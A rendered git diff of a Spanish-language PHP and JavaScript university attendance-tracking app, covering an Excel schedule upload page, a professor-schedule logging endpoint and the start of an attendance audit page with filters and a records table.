<button type="button" class="btn btn-primary" id="descargarPlantilla"><span class="ing-descarga"></span> Descargar</button>
|
||||||
|
<button type="button" class="btn btn-primary" id="descargarPlantillaEjemplo"><span class="ing-descarga"></span> Descargar ejemplo</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
<?php
|
||||||
|
require_once("import/html_footer.php");
|
||||||
|
require_once("js/messages.php")
|
||||||
|
?>
|
||||||
|
<script src="js/scrollables.js"></script>
|
||||||
|
<script src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
|
||||||
|
<script src="js/custominputfile.min-es.js"></script>
|
||||||
|
<link rel="stylesheet" href="css/custominputfile.min.css">
|
||||||
|
<script src="js/fetchlib.js"></script>
|
||||||
|
<script>
|
||||||
|
var datum = []
|
||||||
|
|
||||||
|
$(document).ready(function() {
|
||||||
|
|
||||||
|
$('#excel').customFile({
|
||||||
|
allowed: ['xlsx', 'xls'],
|
||||||
|
maxFiles: 1,
|
||||||
|
callbacks: {
|
||||||
|
onSuccess: async function(item) {
|
||||||
|
var formData = $.customFile.serialize('archivo');
|
||||||
|
|
||||||
|
const {
|
||||||
|
status,
|
||||||
|
message,
|
||||||
|
data
|
||||||
|
} = await fetch('action/action_revisar_excel.php', {
|
||||||
|
method: 'POST',
|
||||||
|
body: formData,
|
||||||
|
})
|
||||||
|
.then(response => response.json())
|
||||||
|
.catch(error => {
|
||||||
|
return {
|
||||||
|
status: 'error',
|
||||||
|
message: 'Error al cargar el archivo',
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (status == 'error') {
|
||||||
|
triggerMessage(message, 'Error en el formato del archivo');
|
||||||
|
item.destroy();
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
triggerMessage(message + " Haz clic en el botón <b>Guardar horario</b> para guardar los datos", `Archivo revisado, aún <b>no guardado</b>`, 'primary');
|
||||||
|
datum = data;
|
||||||
|
// hide form
|
||||||
|
document.querySelector('#input-file').classList.add('d-none');
|
||||||
|
document.querySelector('#input-carrera').classList.add('d-none');
|
||||||
|
|
||||||
|
// show button
|
||||||
|
document.querySelector('#btn-cargar').classList.remove('d-none');
|
||||||
|
document.querySelector('#btn-cancelar').classList.remove('d-none');
|
||||||
|
},
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// hide
|
||||||
|
document.querySelector('#input-file').classList.add('d-none');
|
||||||
|
document.querySelector('#btn-cancelar').classList.add('d-none');
|
||||||
|
document.querySelector('#btn-cargar').classList.add('d-none');
|
||||||
|
// on click in carrera
|
||||||
|
[... document.querySelectorAll('#dlcarrera ul li')].forEach(
|
||||||
|
li => li.addEventListener('click', () => {
|
||||||
|
document.querySelector('#input-file').classList.remove('d-none')
|
||||||
|
})
|
||||||
|
)
|
||||||
|
})
|
||||||
|
|
||||||
|
async function submit_files() {
|
||||||
|
// disable button
|
||||||
|
const button = document.querySelector('#btn-cargar');
|
||||||
|
// add class disabled to button
|
||||||
|
button.classList.add('disabled');
|
||||||
|
// disable button
|
||||||
|
button.disabled = true;
|
||||||
|
|
||||||
|
// add loading icon
|
||||||
|
button.innerHTML = '<span class="ing-cargando"></span> Cargando...';
|
||||||
|
|
||||||
|
let missing = [];
|
||||||
|
|
||||||
|
let carrera = $('#filter_carrera').val();
|
||||||
|
if (carrera == '') missing.push('Carrera');
|
||||||
|
|
||||||
|
if (datum.length == 0) missing.push('Archivo de horarios');
|
||||||
|
|
||||||
|
let facultad = <?= $user->facultad['facultad_id'] ?>;
|
||||||
|
|
||||||
|
if (missing.length > 0) {
|
||||||
|
messageMissingInputs(missing);
|
||||||
|
|
||||||
|
// remove class disabled to button
|
||||||
|
button.classList.remove('disabled');
|
||||||
|
// enable button
|
||||||
|
button.disabled = false;
|
||||||
|
|
||||||
|
// remove loading icon
|
||||||
|
button.innerHTML = '<span class="ing-guardar"></span> Guardar horario';
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const formData = new FormData();
|
||||||
|
|
||||||
|
formData.append('carrera', carrera);
|
||||||
|
formData.append('facultad', facultad);
|
||||||
|
formData.append('periodo', <?= $user->periodo_id ?>);
|
||||||
|
formData.append('data', JSON.stringify(datum));
|
||||||
|
|
||||||
|
|
||||||
|
const {
|
||||||
|
status,
|
||||||
|
message
|
||||||
|
} = await fetch('action/action_horario_excel.php', {
|
||||||
|
method: 'POST',
|
||||||
|
body: formData
|
||||||
|
})
|
||||||
|
.then(response => response.json())
|
||||||
|
.catch(error => {
|
||||||
|
return {
|
||||||
|
status: 'error',
|
||||||
|
message: 'Error al cargar el archivo',
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
triggerMessage(message, (status == 'error') ? 'Error al guardar el archivo' : 'Horarios guardados', (status == 'error') ? 'danger' : 'success');
|
||||||
|
|
||||||
|
// await 1 second
|
||||||
|
// await setTimeout(() => {}, 1000);
|
||||||
|
|
||||||
|
// remove class disabled to
|
||||||
|
button.classList.remove('disabled');
|
||||||
|
// enable button
|
||||||
|
button.disabled = false;
|
||||||
|
button.innerHTML = 'Cargar otro horario';
|
||||||
|
|
||||||
|
// refresh page
|
||||||
|
button.onclick = () => location.reload()
|
||||||
|
|
||||||
|
// hide button
|
||||||
|
document.querySelector('#btn-cancelar').classList.add('d-none');
|
||||||
|
}
|
||||||
|
|
||||||
|
document.querySelector('#descargarPlantilla').addEventListener('click', function() {
|
||||||
|
window.open('template/plantilla.xlsx', '_blank');
|
||||||
|
});
|
||||||
|
|
||||||
|
document.querySelector('#descargarPlantillaEjemplo').addEventListener('click', function() {
|
||||||
|
window.open('template/ejemplo.xlsx', '_blank');
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
</html>
|
||||||
34
api/horario_profesor_log.php
Normal file
34
api/horario_profesor_log.php
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/database.php";
|
||||||
|
|
||||||
|
$rawInput = file_get_contents('php://input');
|
||||||
|
$input = json_decode($rawInput, true);
|
||||||
|
|
||||||
|
if (!$rawInput || !isset($input['profesor_id'], $input['log_id']) || $_SERVER['REQUEST_METHOD'] !== 'POST') {
|
||||||
|
http_response_code(400);
|
||||||
|
echo json_encode(['error' => 'Request error.']);
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$periodos = array_map(fn($array) => $array['id_periodo_sgu'], $db
|
||||||
|
->join('periodo', 'periodo.periodo_id = horario_view.periodo_id')
|
||||||
|
->join('horario_profesor', 'horario_profesor.horario_id = horario_view.horario_id')
|
||||||
|
->where('profesor_id', $input['profesor_id'])
|
||||||
|
->groupBy('id_periodo_sgu')
|
||||||
|
->orderBy('id_periodo_sgu', 'DESC')
|
||||||
|
->get('horario_view', 5, 'id_periodo_sgu'));
|
||||||
|
|
||||||
|
$clave_profesor = $db->where('profesor_id', $input['profesor_id'])->getOne('profesor', 'profesor_clave')['profesor_clave'];
|
||||||
|
|
||||||
|
$horarios = [];
|
||||||
|
$rest = new Horarios();
|
||||||
|
|
||||||
|
foreach ($periodos as $periodo) {
|
||||||
|
$horarios = array_merge($horarios, $rest->get(data: ['idPeriodo' => $periodo, 'claveProfesor' => $clave_profesor, 'fecha' => date('Y-m-d')]));
|
||||||
|
}
|
||||||
|
|
||||||
|
$db
|
||||||
|
->where('log_id', $input['log_id'])
|
||||||
|
->update("log_registro", ['horario_web' => json_encode($horarios)]);
|
||||||
761
auditoria.php
Normal file
761
auditoria.php
Normal file
@@ -0,0 +1,761 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Auditoría asistencial</title>
|
||||||
|
<?php
|
||||||
|
include 'import/html_css_files.php';
|
||||||
|
?>
|
||||||
|
<style>
|
||||||
|
[v-cloak] {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/jquery-ui.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<?
|
||||||
|
$redirect = $_SERVER['PHP_SELF'];
|
||||||
|
include "import/html_header.php";
|
||||||
|
global $user;
|
||||||
|
|
||||||
|
html_header(
|
||||||
|
"Registro de asistencia - Vicerrectoría Académica",
|
||||||
|
"Sistema de gestión de checador",
|
||||||
|
);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if (!$user->periodo_id) { ?>
|
||||||
|
<script defer src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
|
||||||
|
<div class="modal" id="seleccionar-periodo" tabindex="-1">
|
||||||
|
<div class="modal-dialog modal-dialog-centered modal-xl">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h2 class="modal-title">Seleccionar periodo</h2>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body container">
|
||||||
|
<? include 'import/periodo.php' ?>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
$('#seleccionar-periodo').modal({
|
||||||
|
backdrop: 'static',
|
||||||
|
keyboard: false,
|
||||||
|
});
|
||||||
|
$('#seleccionar-periodo').modal('show');
|
||||||
|
</script>
|
||||||
|
<? exit;
|
||||||
|
} ?>
|
||||||
|
|
||||||
|
<main class="container-fluid px-4 mt-4" id="app" v-cloak @vue:mounted="mounted" style="min-height: 60vh;"
|
||||||
|
v-scope="">
|
||||||
|
<!-- {{ store.filters }} -->
|
||||||
|
<?php include "import/periodo.php" ?>
|
||||||
|
<div class="form-box marco">
|
||||||
|
<? if (!$user->facultad['facultad_id']) { ?>
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="dlFacultad" class="col-4 col-form-label">Facultad</label>
|
||||||
|
<div class="col-6">
|
||||||
|
<div id="dlFacultad" class="datalist datalist-select mb-1 w-100">
|
||||||
|
<div class="datalist-input">
|
||||||
|
Selecciona una facultad
|
||||||
|
</div>
|
||||||
|
<span class="icono ing-buscar"></span>
|
||||||
|
<ul style="display:none">
|
||||||
|
<li class="datalist-option" data-id="-1"
|
||||||
|
@click="store.filters.facultad_id = null; store.current.page = 1;">
|
||||||
|
Todas las facultades
|
||||||
|
</li>
|
||||||
|
<li class="datalist-option" v-for="facultad in store.facultades.data"
|
||||||
|
:key="facultad.facultad_id" :data-id="facultad.facultad_id"
|
||||||
|
@click="store.filters.facultad_id = facultad.facultad_id; store.current.page = 1;"
|
||||||
|
style="white-space: nowrap;">
|
||||||
|
(<small> {{facultad.clave_dependencia}} </small>) {{ facultad.facultad_nombre }}
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<input type="hidden" id="facultad_id" name="id">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group row">
|
||||||
|
<!-- Checkbox para descargar todo -->
|
||||||
|
<div class="col-12 text-center">
|
||||||
|
<div class="custom-control custom-checkbox">
|
||||||
|
<input type="checkbox" class="custom-control-input" id="descargarTodo"
|
||||||
|
v-model="store.filters.todos_los_periodos">
|
||||||
|
<label class="custom-control-label" for="descargarTodo">Descargar todos los registros</label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<? } ?>
|
||||||
|
|
||||||
|
<div class="form-group row" v-if="store.bloques_horario.data.length > 0">
|
||||||
|
<label for="dlBloqueHorarios" class="col-4 col-form-label">Bloque horarios</label>
|
||||||
|
<div class="col-6">
|
||||||
|
<div id="dlBloqueHorarios" class="datalist datalist-select mb-1 w-100">
|
||||||
|
<div class="datalist-input">
|
||||||
|
Seleccione un bloque horario
|
||||||
|
</div>
|
||||||
|
<span class="icono ing-buscar"></span>
|
||||||
|
<ul style="display:none">
|
||||||
|
<li class="datalist-option" data-id="0"
|
||||||
|
@click="store.filters.bloque_horario = null; store.current.page = 1;">
|
||||||
|
Todos los bloques horarios
|
||||||
|
</li>
|
||||||
|
<li class="datalist-option not-selectable">
|
||||||
|
Mañana
|
||||||
|
</li>
|
||||||
|
|
||||||
|
<li class="datalist-option"
|
||||||
|
v-for="bloque in store.bloques_horario.data.filter(bloque => bloque.hora_inicio < '13:00:00')"
|
||||||
|
:key="bloque.id" :data-id="bloque.id"
|
||||||
|
@click="store.filters.bloque_horario = bloque.id ; store.current.page = 1;">
|
||||||
|
{{ bloque.hora_inicio.substr(0,5) }} - {{ bloque.hora_fin.substr(0,5) }}
|
||||||
|
</li>
|
||||||
|
<li class="datalist-option not-selectable">
|
||||||
|
Tarde
|
||||||
|
</li>
|
||||||
|
<li class="datalist-option"
|
||||||
|
v-for="bloque in store.bloques_horario.data.filter(bloque => bloque.hora_inicio >= '13:00:00')"
|
||||||
|
:key="bloque.id" :data-id="bloque.id"
|
||||||
|
@click="store.filters.bloque_horario = bloque.id ; store.current.page = 1;">
|
||||||
|
{{ bloque.hora_inicio.substr(0,5) }} - {{ bloque.hora_fin.substr(0,5) }}
|
||||||
|
</li>
|
||||||
|
|
||||||
|
</ul>
|
||||||
|
<input type="hidden" id="bloque_id" name="id">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="profesor" class="col-4 col-form-label">Profesor</label>
|
||||||
|
<div class="col-6">
|
||||||
|
<div class="form-row justify-content-around align-items-center">
|
||||||
|
<input id="profesor" name="profesor" class="form-control col-11 mr-1 px-2"
|
||||||
|
placeholder="Seleccione una profesor" list="dlProfesor" v-model="store.filters.profesor"
|
||||||
|
@input="store.current.page = 1">
|
||||||
|
<button type="button" class="btn btn-outline-danger btn-sm form-control col ml-auto"
|
||||||
|
@click="store.filters.profesor = null; store.current.page = 1;">
|
||||||
|
<i class="ing-borrar"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<datalist id="dlProfesor">
|
||||||
|
<option v-for="profesor in profesores" :key="profesor.profesor_id"
|
||||||
|
:value="`(${profesor.profesor_clave}) ${profesor.profesor_nombre}`">
|
||||||
|
</datalist>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group row align-items-center">
|
||||||
|
<label for="dlAsistencia" class="col-4 col-form-label">
|
||||||
|
Estado de supervisor
|
||||||
|
</label>
|
||||||
|
<div class="col-6">
|
||||||
|
<div class="form-row justify-content-around align-items-center">
|
||||||
|
<div id="dlAsistencia" class="datalist datalist-select mb-1 w-100">
|
||||||
|
<div class="datalist-input" id="estados">
|
||||||
|
Selecciona un estado de asistencia
|
||||||
|
</div>
|
||||||
|
<span class="icono ing-buscar"></span>
|
||||||
|
<ul style=" display:none">
|
||||||
|
<li class="datalist-option" data-id="0"
|
||||||
|
@click="store.filters.estados = []; store.current.page = 1;">
|
||||||
|
Todos los registros
|
||||||
|
</li>
|
||||||
|
<li class="datalist-option" v-for="estado in store.estados.data"
|
||||||
|
:key="estado.estado_supervisor_id" :data-id="estado.estado_supervisor_id"
|
||||||
|
@click="store.filters.estados = store.toggle(store.filters.estados, estado.estado_supervisor_id); setTimeout(store.estados.printEstados, 0); store.current.page = 1;"
|
||||||
|
:class="{'selected': store.filters.estados.includes(estado.estado_supervisor_id)}">
|
||||||
|
<span class="badge" :class="`badge-${estado.estado_color}`">
|
||||||
|
<i :class="estado.estado_icon"></i> {{estado.nombre}}
|
||||||
|
</span>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<input type="hidden" id="estado_id" name="estado_id">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group row align-items-center">
|
||||||
|
<label for="switchFecha" class="col-4 col-form-label">
|
||||||
|
|
||||||
|
<!-- switch -->
|
||||||
|
<div class="custom-control custom-switch">
|
||||||
|
<span :class="{ 'text-muted font-weight-lighter': store.filters.switchFecha }" class="mr-5">
|
||||||
|
Fecha
|
||||||
|
</span>
|
||||||
|
<input type="checkbox" class="custom-control-input" id="switchFecha"
|
||||||
|
v-model="store.filters.switchFecha" @input="store.filters.switchFechas">
|
||||||
|
<label class="custom-control-label" for="switchFecha"></label>
|
||||||
|
<span :class="{ 'text-muted font-weight-lighter': !store.filters.switchFecha }">
|
||||||
|
Rango de fechas
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<div class="col-6" v-if="store.filters.switchFecha">
|
||||||
|
<div class="form-row justify-content-around align-items-center">
|
||||||
|
<input id="fecha_inicio" name="fecha_inicio" class="form-control date-picker col-5 mr-4"
|
||||||
|
placeholder="Seleccione una fecha de inicio" readonly v-model="store.filters.fecha_inicio">
|
||||||
|
<input id="fecha_fin" name="fecha_fin" class="form-control date-picker col-5"
|
||||||
|
placeholder="Seleccione una fecha final" readonly v-model="store.filters.fecha_fin">
|
||||||
|
<button type="button" class="btn btn-sm form-control col-1 ml-auto"
|
||||||
|
:class="store.filters.fecha_inicio == null || store.filters.fecha_fin == null || store.current.fechas_clicked ? 'btn-info' : 'btn-success'"
|
||||||
|
:disabled="store.filters.fecha_inicio == null || store.filters.fecha_fin == null || store.current.fechas_clicked"
|
||||||
|
@click="store.filters.fetchByDate">
|
||||||
|
<i class="ing-aceptar"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="col-6" v-if="!store.filters.switchFecha">
|
||||||
|
<div class="form-row">
|
||||||
|
<input id="fecha" name="fecha" class="form-control date-picker"
|
||||||
|
placeholder="Seleccione una fecha" readonly v-model="store.filters.fecha">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="mt-3 d-flex justify-content-between flex-wrap align-items-center">
|
||||||
|
<? if ($user->acceso == 'w') { ?>
|
||||||
|
<!-- botón justificar profesores -->
|
||||||
|
<div class="col-md-2 col-12 text-center">
|
||||||
|
<div class="btn-group my-3">
|
||||||
|
<button type="button" class="btn btn-outline-primary mr-3" data-toggle="modal"
|
||||||
|
data-target="#justificar-profesores">
|
||||||
|
Justificar profesores
|
||||||
|
<i class="ing-justificar"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<? } ?>
|
||||||
|
|
||||||
|
<!-- botón descargar -->
|
||||||
|
<div class="col-md-2 col-12 text-center">
|
||||||
|
<div class="btn-group my-3" v-if="store.registros.relevant.length > 0">
|
||||||
|
<button type="button" class="btn btn-outline-primary mr-3" @click="store.registros.descargar">
|
||||||
|
Descargar reporte
|
||||||
|
<i class="ing-descarga"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div v-else-if="store.registros.loading && store.registros.relevant.length > 0">
|
||||||
|
<div class="spinner-border" role="status">
|
||||||
|
<span class="sr-only">Loading...</span>
|
||||||
|
</div>
|
||||||
|
Generando reporte...
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- Reporte -->
|
||||||
|
<div class="col-md-8 col-12 justify-content-around d-flex align-items-center">
|
||||||
|
<span v-for="estado in store.estados.data" :class="`text-${estado.estado_color}`"
|
||||||
|
class="text-center col-2">
|
||||||
|
<i :class="`${estado.estado_icon} ing-lg`"></i>
|
||||||
|
<span class="mx-2">{{estado.nombre}}</span>
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- refresh -->
|
||||||
|
<div class="table-responsive">
|
||||||
|
<table class="table table-hover table-striped table-bordered table-sm">
|
||||||
|
<thead class="thead-dark">
|
||||||
|
<tr>
|
||||||
|
<th scope="col"
|
||||||
|
class="text-center align-middle px-2 d-flex align-items-center justify-content-center">
|
||||||
|
<button @click="store.registros.invertir" class="btn btn-light btn-sm text-primary mr-3"
|
||||||
|
v-if="store.registros.relevant.length > 1">
|
||||||
|
<i class="ing-cambiar ing-rotate-90"></i>
|
||||||
|
</button>
|
||||||
|
<span style="white-space: nowrap;">Fecha</span>
|
||||||
|
</th>
|
||||||
|
|
||||||
|
<th scope="col" class="text-center align-middle px-2" width="10%">Salón</th>
|
||||||
|
<th scope="col" class="text-center align-middle px-2">Profesor</th>
|
||||||
|
|
||||||
|
<th scope="col" class="text-center align-middle px-2" width="7%">Horario</th>
|
||||||
|
<th scope="col" class="text-center align-middle px-2">Registro</th>
|
||||||
|
<th scope="col" class="text-center align-middle px-2">Supervisor</th>
|
||||||
|
<? if ($user->acceso == 'w') { ?>
|
||||||
|
<th scope="col" class="text-center align-middle px-2" width="10%">Justificar</th>
|
||||||
|
<? } ?>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
<tr v-if="store.registros.relevant.length == 0">
|
||||||
|
<td colspan="7" class="text-center">No hay clases en este horario</td>
|
||||||
|
</tr>
|
||||||
|
<tr v-for="registro in store.registros.relevant?.slice((store.current.page - 1) * store.current.perPage, store.current.page * store.current.perPage)"
|
||||||
|
:key="`${registro.registro_id}-${registro.registro_fecha_ideal}-${registro.horario_id}-${registro.profesor_id}-${registro.salon_id}`"
|
||||||
|
:class="{ 'table-warning': registro.reposicion_id }">
|
||||||
|
<td class="text-center align-middle px-2">{{ registro.registro_fecha_ideal }}
|
||||||
|
</td>
|
||||||
|
<td class="text-center align-middle px-2">{{ registro.salon }}</td>
|
||||||
|
<td class="align-middle px-2">
|
||||||
|
<strong>{{ registro.profesor_clave }}</strong>
|
||||||
|
{{ registro.profesor_nombre }}
|
||||||
|
<button type="button" class="ml-3 btn btn-sm btn-outline-primary"
|
||||||
|
@click="store.current.clase_vista = registro" data-toggle="modal"
|
||||||
|
data-target="#ver-detalle">
|
||||||
|
<i class="ing-ojo"></i> detalle
|
||||||
|
</button>
|
||||||
|
</td>
|
||||||
|
|
||||||
|
|
||||||
|
<td class="text-center align-middle px-2">{{ registro.horario_hora?.slice(0,5) }} -
|
||||||
|
{{registro.horario_fin?.slice(0,5) }}</td>
|
||||||
|
<!-- -->
|
||||||
|
<td class="text-center align-middle px-2">
|
||||||
|
<div v-if="registro.registro_fecha">
|
||||||
|
<div class="col-12" :class="registro.color">
|
||||||
|
Registro <small>{{ registro.registro_fecha?.slice(11,19) }}</small>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div v-else>
|
||||||
|
<strong>
|
||||||
|
<div class="col-12">
|
||||||
|
<span class="text-dark ing-2x"><i class="ing-cancelar"></i></span>
|
||||||
|
</div>
|
||||||
|
</strong>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
|
||||||
|
<!-- Sí checó supervisor -->
|
||||||
|
<td class="text-center align-middle px-2">
|
||||||
|
<div class="col-12">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<span class="mr-2" :class="`text-${registro.estado_color}`">
|
||||||
|
<i :class="`${registro.estado_icon} ing-2x`"></i>
|
||||||
|
</span>
|
||||||
|
<strong v-if="registro.usuario_nombre">{{ registro.usuario_nombre
|
||||||
|
}}</strong>
|
||||||
|
</div>
|
||||||
|
<div class="col-12" v-if="registro.registro_fecha_supervisor">
|
||||||
|
Hora
|
||||||
|
<small>{{ registro.registro_fecha_supervisor?.slice(11,19) }}</small>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-12 "
|
||||||
|
@click="store.registros.mostrarComentario(registro.registro_id)"
|
||||||
|
v-if="registro.comentario" style="cursor: pointer;">
|
||||||
|
<strong class="badge border border-primary">Observaciones:</strong>
|
||||||
|
<small
|
||||||
|
class="text-truncate">{{registro.comentario?.slice(0,25)}}{{registro.comentario.length
|
||||||
|
> 10 ? '...' : ''}}</small>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<? if ($user->acceso == 'w') { ?>
|
||||||
|
<td class="text-center align-middle px-2">
|
||||||
|
<div class="col-auto">
|
||||||
|
<button class="btn btn-link text-center mx-2 btn-sm" data-toggle="modal"
|
||||||
|
:class="`text-${registro.registro_justificada ? 'success' : 'primary'}`"
|
||||||
|
data-target="#justificar" :class="{ 'active': registro.comentario }"
|
||||||
|
@click="set_justificar(registro.horario_id, registro.profesor_id, registro.registro_fecha_ideal)">
|
||||||
|
<i :class="`ing-${registro.registro_justificada ? 'finalistas' : 'reporte-resultados'}`"
|
||||||
|
style="font-size: 2rem;"></i>
|
||||||
|
<span class="sr-only">{{ registro.registro_justificada ? 'Justificada' :
|
||||||
|
'Justificar' }}</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<? } ?>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- page -->
|
||||||
|
<nav v-if="store.registros.relevant.length > 0" class="mt-3 col-12">
|
||||||
|
<ul class="pagination justify-content-center">
|
||||||
|
<li class="page-item" :class="{'disabled': store.current.page == 1}"
|
||||||
|
@click="store.current.page == 1 ? '' : store.current.page--" :disabled="store.current.page == 1"
|
||||||
|
:title="`Página ${store.current.page} de ${store.registros.pages}`">
|
||||||
|
<a class="page-link" style="cursor: pointer;">Anterior</a>
|
||||||
|
</li>
|
||||||
|
<li class="page-item"
|
||||||
|
v-for="page in [...Array(store.registros.pages).keys()].map(x => ++x).slice(store.current.page - 3 > 0 ? store.current.page - 3 : 0, store.current.page + 2 < store.registros.pages ? store.current.page + 2 : store.registros.pages)"
|
||||||
|
:class="{'active': store.current.page == page}" @click="store.current.page = page"
|
||||||
|
:title="`Página ${store.current.page} de ${store.registros.pages}`">
|
||||||
|
<a class="page-link" style="cursor: pointer;">{{ page }}</a>
|
||||||
|
</li>
|
||||||
|
<li class="page-item" :class="{'disabled': store.current.page == store.registros.pages}"
|
||||||
|
:disabled="store.current.page == store.registros.pages"
|
||||||
|
@click="store.current.page += store.current.page == store.registros.pages ? 0 : 1"
|
||||||
|
:title="`Página ${store.current.page} de ${store.registros.pages}`">
|
||||||
|
<a class="page-link" style="cursor: pointer;">Siguiente</a>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="modal" tabindex="-1" id="ver-comentario">
|
||||||
|
<div class="modal-dialog modal-dialog-centered">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h5 class="modal-title">Comentario</h5>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="container">
|
||||||
|
<div class="input-group">
|
||||||
|
<textarea class="form-control" aria-label="Comentarios de la clase" rows="5"
|
||||||
|
v-model="store.current.comentario" disabled></textarea>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button type="button" class="btn btn-outline-primary" data-dismiss="modal">
|
||||||
|
Aceptar
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="modal" tabindex="-1" id="ver-detalle">
|
||||||
|
<div class="modal-dialog modal-dialog-centered modal-xl" v-if="clase_vista">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h2 class="modal-title" :data-id="clase_vista.horario_id">Detalle de la clase</h2>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<section class="col-12 col-md-6">
|
||||||
|
<h4 class="h4">Profesor</h4>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Nombre:</strong>
|
||||||
|
{{ clase_vista.profesor_nombre }}
|
||||||
|
</div>
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Correo:</strong>
|
||||||
|
<a :href="`mailto:${clase_vista.profesor_correo}`"><strong>{{
|
||||||
|
clase_vista.profesor_correo }}</strong></a>
|
||||||
|
</div>
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Clave:</strong>
|
||||||
|
{{ clase_vista.profesor_clave }}
|
||||||
|
</div>
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Facultad:</strong>
|
||||||
|
{{ clase_vista.facultad }}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
<section class="col-12 col-md-6">
|
||||||
|
<h4 class="h4">Clase</h4>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Materia:</strong>
|
||||||
|
{{ clase_vista.materia }}
|
||||||
|
</div>
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Carrera:</strong>
|
||||||
|
{{ clase_vista.carrera }}
|
||||||
|
</div>
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Nivel:</strong>
|
||||||
|
{{ clase_vista.nivel}}
|
||||||
|
</div>
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Grupo:</strong>
|
||||||
|
{{ clase_vista.horario_grupo }}
|
||||||
|
</div>
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Horario:</strong>
|
||||||
|
{{ clase_vista.horario_hora?.slice(0, 5) }} -
|
||||||
|
